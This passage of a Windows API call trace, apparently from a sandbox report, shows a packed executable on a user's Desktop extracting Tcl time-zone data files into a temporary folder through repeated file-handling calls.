GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.168] CloseHandle (hObject=0x10c) returned 1 [0043.168] GetLastError () returned 0x0 [0043.168] SetLastError (dwErrCode=0x0) [0043.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.168] GetFileType (hFile=0x10c) returned 0x1 [0043.168] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.169] CloseHandle (hObject=0x10c) returned 1 [0043.169] GetLastError () returned 0x0 [0043.169] SetLastError (dwErrCode=0x0) [0043.169] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.169] GetFileType (hFile=0x10c) returned 0x1 [0043.169] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.170] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.170] CloseHandle (hObject=0x10c) returned 1 [0043.170] GetLastError () returned 0x0 [0043.170] SetLastError (dwErrCode=0x0) [0043.170] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae") returned 71 [0043.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kosrae"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.170] GetLastError () returned 0x2 [0043.170] SetLastError (dwErrCode=0x2) [0043.170] GetLastError () returned 0x2 [0043.170] SetLastError (dwErrCode=0x2) [0043.170] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae", lpFilePart=0x0) returned 0x46 [0043.170] GetLastError () returned 0x2 [0043.170] SetLastError (dwErrCode=0x2) [0043.170] GetLastError () returned 0x2 [0043.170] SetLastError (dwErrCode=0x2) [0043.170] GetLastError () returned 0x2 [0043.170] SetLastError (dwErrCode=0x2) [0043.170] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae") returned 71 [0043.170] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kosrae" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kosrae"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.170] GetFileType (hFile=0x10c) returned 0x1 [0043.170] htonl (hostlong=0xcc000000) returned 0xcc [0043.171] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.171] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc, lpOverlapped=0x0) returned 1 [0043.171] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.171] CloseHandle (hObject=0x10c) returned 1 [0043.171] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546790 | out: hHeap=0x530000) returned 1 [0043.172] htonl (hostlong=0x30000000) returned 0x30 [0043.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.172] GetFileType (hFile=0x10c) returned 0x1 [0043.172] htonl (hostlong=0xf195d00) returned 0x5d190f [0043.172] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c90f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.172] htonl (hostlong=0xa7000000) returned 0xa7 [0043.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa7) returned 0x544990 [0043.172] htonl (hostlong=0xa7000000) returned 0xa7 [0043.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.172] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] htonl (hostlong=0xce000000) returned 0xce [0043.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xce) returned 0x546790 [0043.172] htonl (hostlong=0xa7000000) returned 0xa7 [0043.172] htonl (hostlong=0xce000000) returned 0xce [0043.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544990 | out: hHeap=0x530000) returned 1 [0043.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.172] CloseHandle (hObject=0x10c) returned 1 [0043.172] GetLastError () returned 0x0 [0043.172] SetLastError (dwErrCode=0x0) [0043.172] GetLastError () returned 0x0 [0043.172] SetLastError (dwErrCode=0x0) [0043.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.173] GetFileType (hFile=0x10c) returned 0x1 [0043.173] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.173] CloseHandle (hObject=0x10c) returned 1 [0043.173] GetLastError () returned 0x0 [0043.173] SetLastError (dwErrCode=0x0) [0043.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.173] GetFileType (hFile=0x10c) returned 0x1 [0043.173] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.174] CloseHandle (hObject=0x10c) returned 1 [0043.174] GetLastError () returned 0x0 [0043.174] SetLastError (dwErrCode=0x0) [0043.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.174] GetFileType (hFile=0x10c) returned 0x1 [0043.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.174] CloseHandle (hObject=0x10c) returned 1 [0043.174] GetLastError () returned 0x0 [0043.174] SetLastError (dwErrCode=0x0) [0043.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein") returned 74 [0043.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kwajalein"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.174] GetLastError () returned 0x2 [0043.174] SetLastError (dwErrCode=0x2) [0043.174] GetLastError () returned 0x2 [0043.174] SetLastError (dwErrCode=0x2) [0043.175] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein", lpFilePart=0x0) returned 0x49 [0043.175] GetLastError () returned 0x2 [0043.175] SetLastError (dwErrCode=0x2) [0043.175] GetLastError () returned 0x2 [0043.175] SetLastError (dwErrCode=0x2) [0043.175] GetLastError () returned 0x2 [0043.175] SetLastError (dwErrCode=0x2) [0043.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein") returned 74 [0043.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Kwajalein" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\kwajalein"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.175] GetFileType (hFile=0x10c) returned 0x1 [0043.175] htonl (hostlong=0xce000000) returned 0xce [0043.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.175] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xce, lpOverlapped=0x0) returned 1 [0043.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.176] CloseHandle (hObject=0x10c) returned 1 [0043.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546790 | out: hHeap=0x530000) returned 1 [0043.176] htonl (hostlong=0x30000000) returned 0x30 [0043.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.176] GetFileType (hFile=0x10c) returned 0x1 [0043.176] htonl (hostlong=0xb6195d00) returned 0x5d19b6 [0043.176] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c9b6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.176] htonl (hostlong=0x94000000) returned 0x94 [0043.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x55cfe0 [0043.176] htonl (hostlong=0x94000000) returned 0x94 [0043.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.177] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.177] htonl (hostlong=0xad000000) returned 0xad [0043.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xad) returned 0x550600 [0043.177] htonl (hostlong=0x94000000) returned 0x94 [0043.177] htonl (hostlong=0xad000000) returned 0xad [0043.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.177] CloseHandle (hObject=0x10c) returned 1 [0043.177] GetLastError () returned 0x0 [0043.177] SetLastError (dwErrCode=0x0) [0043.177] GetLastError () returned 0x0 [0043.177] SetLastError (dwErrCode=0x0) [0043.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.177] GetFileType (hFile=0x10c) returned 0x1 [0043.177] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.178] CloseHandle (hObject=0x10c) returned 1 [0043.178] GetLastError () returned 0x0 [0043.178] SetLastError 